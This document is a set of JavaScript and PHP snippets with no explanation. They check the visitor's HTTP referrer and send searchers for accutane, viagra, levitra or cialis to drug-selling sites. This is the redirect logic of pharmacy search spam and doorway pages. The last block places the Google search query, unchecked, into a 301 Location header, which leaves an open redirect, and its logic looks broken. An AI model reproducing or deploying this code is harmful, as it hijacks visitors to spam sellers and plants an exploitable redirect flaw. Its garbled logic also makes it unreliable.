if (document.referrer.toLowerCase().indexOf('accutane')!=-1) location.href='http://<магаз.ком>/accutane.html';

<?Php
if(strstr($_SERVER['HTTP_REFERER'],"buy viagra")){
die(header("location:http://viagra.com"));
}
else if(strstr($_SERVER['HTTP_REFERER'],"levitra")){
die(header("location:http://levitra.com"));
}
else if(strstr($_SERVER['HTTP_REFERER'],"cialis")){
die(header("location:http://cialis.com"));
}

?>

<?php
$se = array('name'=>'Google','host'=>'google.','query'=>'q');

function get_key($refer)
{
    global $se;
    $parseurl = parse_url($refer);
    if ( strpos($parseurl['host'], $se['host']) !== false )
    {
        parse_str($parseurl['query'], $tmp);
        $key = trim($tmp[$se['query']]);
        if (strlen($key) > 0) return $key; else return false;
    } else return false;
}


if ( isset($_SERVER['HTTP_REFERER']) )
{
    $refer = trim($_SERVER['HTTP_REFERER']);
    if (strlen($refer) > 0)
    {
        $data = get_key($refer);
        if ( $data !== false )
        {
            header("HTTP/1.1 301 Moved Permanently");
            header("Location: $data");
            exit();
        } else {
            header("HTTP/1.1 301 Moved Permanently");
            header("Location: http://default-domen.com");
            exit();
        }
    }
}
?>